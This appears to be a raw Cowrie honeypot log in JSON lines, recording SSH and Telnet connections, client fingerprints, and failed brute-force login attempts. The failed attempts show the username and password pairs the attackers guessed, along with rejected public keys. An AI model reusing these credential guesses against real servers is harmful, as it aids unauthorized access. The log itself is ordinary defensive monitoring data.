{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:49.808277Z","src_ip":"158.178.141.16","session":"84d10e543c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:50.016106Z","src_ip":"158.178.141.16","session":"84d10e543c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qw123456789","message":"login attempt [root/Qw123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:50.880811Z","src_ip":"158.178.141.16","session":"84d10e543c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:22:52.092634Z","src_ip":"158.178.141.16","session":"84d10e543c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":56692,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5919271a0ad","protocol":"ssh","message":"New connection: 200.175.61.207:56692 (10.17.0.5:22) [session: a5919271a0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:03.627202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:03.632257Z","src_ip":"200.175.61.207","session":"a5919271a0ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:03.778108Z","src_ip":"200.175.61.207","session":"a5919271a0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9ol.0p;/","message":"login attempt [root/9ol.0p;/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:04.394095Z","src_ip":"200.175.61.207","session":"a5919271a0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:05.543197Z","src_ip":"200.175.61.207","session":"a5919271a0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33748,"dst_ip":"10.17.0.5","dst_port":23,"session":"6986f5bf6584","protocol":"telnet","message":"New connection: 192.119.13.58:33748 (10.17.0.5:23) [session: 6986f5bf6584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:10.222907Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":35356,"dst_ip":"159.203.135.109","dst_port":22,"session":"68d2660e583f","protocol":"ssh","message":"New connection: 102.223.92.101:35356 (159.203.135.109:22) [session: 68d2660e583f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:13.223543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:13.229058Z","src_ip":"102.223.92.101","session":"68d2660e583f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:13.401209Z","src_ip":"102.223.92.101","session":"68d2660e583f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2024","message":"login attempt [root/teste2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:14.122259Z","src_ip":"102.223.92.101","session":"68d2660e583f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:15.299465Z","src_ip":"102.223.92.101","session":"68d2660e583f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":55592,"dst_ip":"159.203.135.109","dst_port":22,"session":"2792226ea605","protocol":"ssh","message":"New connection: 158.178.141.16:55592 (159.203.135.109:22) [session: 2792226ea605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:31.767765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:31.773423Z","src_ip":"158.178.141.16","session":"2792226ea605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:31.985521Z","src_ip":"158.178.141.16","session":"2792226ea605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vanessa","password":"vanessa123","message":"login attempt [vanessa/vanessa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:32.863064Z","src_ip":"158.178.141.16","session":"2792226ea605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":45210,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa87586f104a","protocol":"ssh","message":"New connection: 185.92.182.129:45210 (10.17.0.5:22) [session: fa87586f104a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:33.549489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:33.583466Z","src_ip":"185.92.182.129","session":"fa87586f104a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:33.611685Z","src_ip":"185.92.182.129","session":"fa87586f104a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx123","message":"login attempt [root/!QAZ2wsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:33.772338Z","src_ip":"185.92.182.129","session":"fa87586f104a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:34.081668Z","src_ip":"158.178.141.16","session":"2792226ea605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:34.808360Z","src_ip":"185.92.182.129","session":"fa87586f104a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":34788,"dst_ip":"159.203.135.109","dst_port":22,"session":"25037de0075d","protocol":"ssh","message":"New connection: 49.51.202.114:34788 (159.203.135.109:22) [session: 25037de0075d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:39.088342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:39.092368Z","src_ip":"49.51.202.114","session":"25037de0075d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:39.160910Z","src_ip":"49.51.202.114","session":"25037de0075d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234.","message":"login attempt [root/Asdf1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:39.468072Z","src_ip":"49.51.202.114","session":"25037de0075d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:40.539958Z","src_ip":"49.51.202.114","session":"25037de0075d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.182.109","src_port":33296,"dst_ip":"10.17.0.5","dst_port":22,"session":"abc47b340f75","protocol":"ssh","message":"New connection: 107.6.182.109:33296 (10.17.0.5:22) [session: abc47b340f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.229622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.235020Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.317971Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:33:9a:f0:35:42:34:b1:2b:12:0c:64:36:0e:7d:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuaUOqFyy/1zqSVsxyqQv183IQWHkMyA30tappRyQwlayUxSin+ANvcOr3gDDWHuFaLCOrcZWYR/cJUoiE1n8fOfliCrHYII2ugVZJFBYyYpVxdRqbHF2ENoxO6GvQxufMx1F9l619g4EwaR9b+wyVFRcqUXlSVdYMjhku6RxnVQ4GezGn+LRjgQ4Y8IkiT/ghvEZi2Wk3hi5JkuDpJnZkrEabRtuTT6Mr+yXEp5jn9W2NzJBnrN1IEav+wbZEGA4YxYH9TttbvHfrxxoEy3ldxZ+KmQGZWRyM9keCiV/opWQC40V4U7gmY72fcpVYFuc9w4jviWbwLw8jDhQveVhn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:33:9a:f0:35:42:34:b1:2b:12:0c:64:36:0e:7d:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.711237Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:33:9a:f0:35:42:34:b1:2b:12:0c:64:36:0e:7d:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuaUOqFyy/1zqSVsxyqQv183IQWHkMyA30tappRyQwlayUxSin+ANvcOr3gDDWHuFaLCOrcZWYR/cJUoiE1n8fOfliCrHYII2ugVZJFBYyYpVxdRqbHF2ENoxO6GvQxufMx1F9l619g4EwaR9b+wyVFRcqUXlSVdYMjhku6RxnVQ4GezGn+LRjgQ4Y8IkiT/ghvEZi2Wk3hi5JkuDpJnZkrEabRtuTT6Mr+yXEp5jn9W2NzJBnrN1IEav+wbZEGA4YxYH9TttbvHfrxxoEy3ldxZ+KmQGZWRyM9keCiV/opWQC40V4U7gmY72fcpVYFuc9w4jviWbwLw8jDhQveVhn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.715409Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33194,"dst_ip":"10.17.0.5","dst_port":23,"session":"a989dc370965","protocol":"telnet","message":"New connection: 192.119.13.58:33194 (10.17.0.5:23) [session: a989dc370965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.729941Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:6a:e6:df:0c:88:35:47:62:fb:fc:89:fc:aa:ca:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqfiR4lYFcWq/sH1nas4elgFGX0gi4RuDlcBcXiyzdQdUhrkrlqGkMW84Su8ax0H8iFIC/tkbDSXJedrCf/lHWKRKfstleCq4wwlxmzUGUThepjgTmxBnLL1Zlqffg6Glb9/wf0JBe/tr/DoVSXEgjdFdu3zDCHSxgKNYhB5qL3C5gdwSct4fGXoVQr1HQqCMMGXMQNaA2JM75QkdDfUuKJbij40gePmLNNrTD0/IOLXaiAdXVFmKdXfwcxv4izE9EWAwHldmZRHqkCnNYvETCRH45RnCRT9D1JBuyYWj+pPdZVMN+lmFMzd03e1Hib7b7wVTHW/cmeHTtKBkX3HK2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:6a:e6:df:0c:88:35:47:62:fb:fc:89:fc:aa:ca:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.800200Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:6a:e6:df:0c:88:35:47:62:fb:fc:89:fc:aa:ca:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqfiR4lYFcWq/sH1nas4elgFGX0gi4RuDlcBcXiyzdQdUhrkrlqGkMW84Su8ax0H8iFIC/tkbDSXJedrCf/lHWKRKfstleCq4wwlxmzUGUThepjgTmxBnLL1Zlqffg6Glb9/wf0JBe/tr/DoVSXEgjdFdu3zDCHSxgKNYhB5qL3C5gdwSct4fGXoVQr1HQqCMMGXMQNaA2JM75QkdDfUuKJbij40gePmLNNrTD0/IOLXaiAdXVFmKdXfwcxv4izE9EWAwHldmZRHqkCnNYvETCRH45RnCRT9D1JBuyYWj+pPdZVMN+lmFMzd03e1Hib7b7wVTHW/cmeHTtKBkX3HK2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:23:51.804231Z","src_ip":"107.6.182.109","session":"abc47b340f75","protocol":"ssh"}
